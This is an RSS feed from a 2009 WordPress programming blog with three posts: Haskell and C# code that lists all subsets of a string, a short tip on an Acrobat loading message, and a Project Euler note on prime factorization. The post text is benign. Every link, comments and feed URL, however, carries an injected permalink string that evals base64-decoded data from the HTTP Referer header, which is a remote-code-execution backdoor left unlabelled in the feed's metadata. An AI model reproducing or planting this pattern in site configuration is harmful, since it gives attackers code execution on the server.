<p>The same in Haskell:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">s = <span class="st0">&quot;abcd&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">subsets s = ssets <span class="br0">&#40;</span>s<span class="br0">&#41;</span> <span class="br0">&#91;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">ssets <span class="br0">&#91;</span><span class="br0">&#93;</span> r = <span class="br0">&#91;</span><a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:reverse"><span class="kw3">reverse</span></a><span class="br0">&#40;</span>r<span class="br0">&#41;</span><span class="br0">&#93;</span></div>
</li>
<li class="li2">
<div class="de2">ssets <span class="br0">&#40;</span>x:xx<span class="br0">&#41;</span> r = ssets xx r ++ ssets xx <span class="br0">&#40;</span>x:r<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">main = <span class="kw1">do</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:putStrLn"><span class="kw3">putStrLn</span></a> <span class="st0">&quot; Set: &quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:print"><span class="kw3">print</span></a> s</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:putStrLn"><span class="kw3">putStrLn</span></a> <span class="st0">&quot; Subsets: &quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://haskell.org/ghc/docs/latest/html/libraries/base/Prelude.html#v:print"><span class="kw3">print</span></a> <span class="br0">&#40;</span>subsets s<span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>For imperative languages I'd rather prefer bitwise approach. Here is in C#:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="kw1">using</span> <span class="kw5">System</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">namespace</span> Subsets</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="kw4">class</span> Program</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">static</span> <span class="kw1">void</span> Main<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">string</span> elements = <span class="st0">&quot;abcd&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">ulong</span> i = <span class="nu0">0</span>; i &lt; Math.<span class="me1">Pow</span><span class="br0">&#40;</span><span class="nu0">2</span>, elements.<span class="me1">Length</span><span class="br0">&#41;</span>; i++<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">ulong</span> set = i;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> <span class="br0">&#40;</span><span class="kw4">int</span> j = <span class="nu0">0</span>; j &lt; elements.<span class="me1">Length</span>; j++, set &gt;&gt;= <span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>set &amp; 0x01<span class="br0">&#41;</span> == <span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.<span class="me1">Write</span><span class="br0">&#40;</span>elements<span class="br0">&#91;</span>j<span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.<span class="me1">WriteLine</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/07/02/all-subsets-of-a-set/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to remove &quot;Please wait while the document is being prepared for reading&quot; message in Acrobat</title>
		<link>http://lakhturov.info/2009/05/30/how-to-remove-please-wait-while-the-document-is-being-prepared-for-reading-message-in-acrobat/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2009/05/30/how-to-remove-please-wait-while-the-document-is-being-prepared-for-reading-message-in-acrobat/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 30 May 2009 20:25:43 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=186</guid>
		<description><![CDATA[It really bothered me. So, I googled. All links give the same solution: one, two, three.]]></description>
			<content:encoded><![CDATA[<p>It really bothered me. So, I googled. All links give the same solution: <a href="http://www.howtogeek.com/howto/windows/remove-please-wait-while-the-document-is-being-prepared-for-reading-message-in-adobe-reader-8/">one</a>, <a href="http://www.techtalkz.com/blog/adobe-reader-tips/how-to-remove-the-adobe-reader-8-please-wait-while-the-document-is-being-prepared-message.html">two</a>, <a href="http://p163.sg/blog/please-wait-while-document-is-prepared-for-reading">three</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/05/30/how-to-remove-please-wait-while-the-document-is-being-prepared-for-reading-message-in-acrobat/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Problem 3: a note</title>
		<link>http://lakhturov.info/2009/05/05/problem-3-a-note/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://lakhturov.info/2009/05/05/problem-3-a-note/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 05 May 2009 19:49:54 +0000</pubDate>
		<dc:creator>Ivan Lakhturov</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[projecteuler]]></category>

		<guid isPermaLink="false">http://lakhturov.info/?p=183</guid>
		<description><![CDATA[Find the largest prime factor of a composite number. The problem of integer factorization is one of the most important in the number theory. Last time I implemented a classical algorithm with complexity. The author of the Project Euler website suggests a small improvement --- iterating over only odd numbers, but I consider this as [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Find the largest prime factor of a composite number.</p></blockquote>
<p>The problem of integer factorization is one of the most important in the number theory. Last time I implemented a classical algorithm with <span class='MathJax_Preview'><img src='http://lakhturov.info/wordpress/wp-content/plugins/latex/cache/tex_f0cec2c61cfb093e31e962bc7de4dd55.gif' style=' ' class='tex' alt="O(\sqrt{n})" /></span> complexity. The author of the Project Euler website suggests a small improvement --- iterating over only odd numbers, but I consider this as too tiny thing to do.</p>
<p>As regards the problem of factorization, I'd rather look in special literature, what are the known approaches (and I'll do that later, let's switch to the next one).</p>
]]></content:encoded>
			<wfw:commentRss>http://lakhturov.info/2009/05/05/problem-3-a-note/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

